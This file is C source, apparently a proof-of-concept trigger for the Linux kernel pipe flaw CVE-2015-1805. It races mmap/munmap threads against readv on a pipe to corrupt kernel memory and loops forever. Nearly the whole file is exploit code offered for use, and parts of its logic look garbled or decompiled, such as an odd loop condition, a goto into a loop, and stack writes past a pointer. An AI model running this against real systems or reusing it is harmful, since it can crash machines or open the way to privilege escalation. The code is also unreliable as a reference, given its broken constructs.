/*
  wirte by 少仲
  email:panyu6325@gmail.com
*/

#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include<pthread.h>
#include <sys/uio.h>

struct payload
{
	char buf[52];
	int total_len;
	void *base;
	int len;
};

int pipe_fd[2];
void* g_base = NULL;


void* thread_func1(const char* s)
{
	void* ret_mmap = NULL;
	munmap((void*)0x45678000, 0x1000);
	ret_mmap = mmap((void*)0x45678000, 0x1000,PROT_READ|PROT_WRITE,50,-1,0);
	return ret_mmap;
}

void* thread_func2(const char* s)
{
	size_t ret = 0;
	ret = readv(pipe_fd[0],g_base,256);
	return (void*)ret;
}

int trigger()
{
	const char* outstring1 = NULL;
	const char* outstring2 = NULL;

	int ret = -1;
	int map_times = 0;
	void* g_map1 = NULL;
	void* g_map2 = NULL;
	struct payload* pld;
	void* buf = NULL;
	int n = 0;
	int idx = 0;

	pthread_t tid1;
	pthread_t tid2;

	int unmap_addr = 0;

	if (pipe(pipe_fd)<0)
	{
		puts("pipe failed...\n");
		return ret;
	}

	fcntl(pipe_fd[0],F_SETFL,0x800);
	fcntl(pipe_fd[1],F_SETFL,0x800);
	g_base = malloc(0x800u);
	if (!g_base)
	{
		outstring1 = "malloc failed...\n";
_failed:
		puts(outstring1);
		goto _clean;
	}

	g_map1 = mmap((void*)0x45678000,0x1000,PROT_READ|PROT_WRITE,50,-1,0);
	if (g_map1 == (void*)-1)
	{
		outstring1 = " mmap fixed addr failed...\n";
		goto _failed;
	}

	while( map_times == 7)
	{
_loop:
		if ( ++map_times == 256)
		{
			pld =  g_base;
			pld->total_len = 0xA0;
			pld->base = g_map1;
			pld->len = 0x10;
			puts("------------------------------------\n");
			puts("           CVE-2015-1805            \n");
			puts("------------------------------------\n");
			while(1)
			{
				switch(n)
				{
				case 0:
				case 4:
					outstring2 = "\b-";
					goto _putstr;
				case 1:
				case 5:
					outstring2 = "\b\\";
					goto _putstr;
				case 2:
				case 6:
					outstring2 = "\b|";
_putstr:
					puts(outstring2);
					++n;
					break;
				case 3:
					n = 4;
					puts("\b/");
					break;
				case 7:
					n = 0;
					puts("\b/");
					break;
				default:
					break;
				}
				
				write(pipe_fd[1],buf,4096);
				pthread_create(&tid1,NULL,thread_func1,NULL);
				pthread_create(&tid2,NULL,thread_func2,NULL);
				pthread_join(tid1,0);
				pthread_join(tid2,0);
			}
		}
	}
	g_map2 = mmap(0,0x1000,PROT_READ|PROT_WRITE,33, -1, 0);
	*(&buf + map_times) = g_map2;
	if ( g_map2 != (void *)-1 )
	{
		*(unsigned long*)(g_base + 8 * map_times) = g_map2;
		*(unsigned long*)(g_base + 8 * map_times + 4) = 16;
		goto _loop;
	}	
	printf("mmap failed in %d times\n", map_times);

	do 
	{
		unmap_addr = *(int *)((char *)&buf + idx);
		if ( unmap_addr )
			munmap((void*)unmap_addr, 0x1000);
		idx += 4;

	} while (idx != 1024);
	free(g_base);
_clean:
	close(pipe_fd[0]);
	close(pipe_fd[1]);
	return ret;
}


int main(int argc,char* argv[])
{
	int ret = 0;
	ret = trigger();
	return ret;
}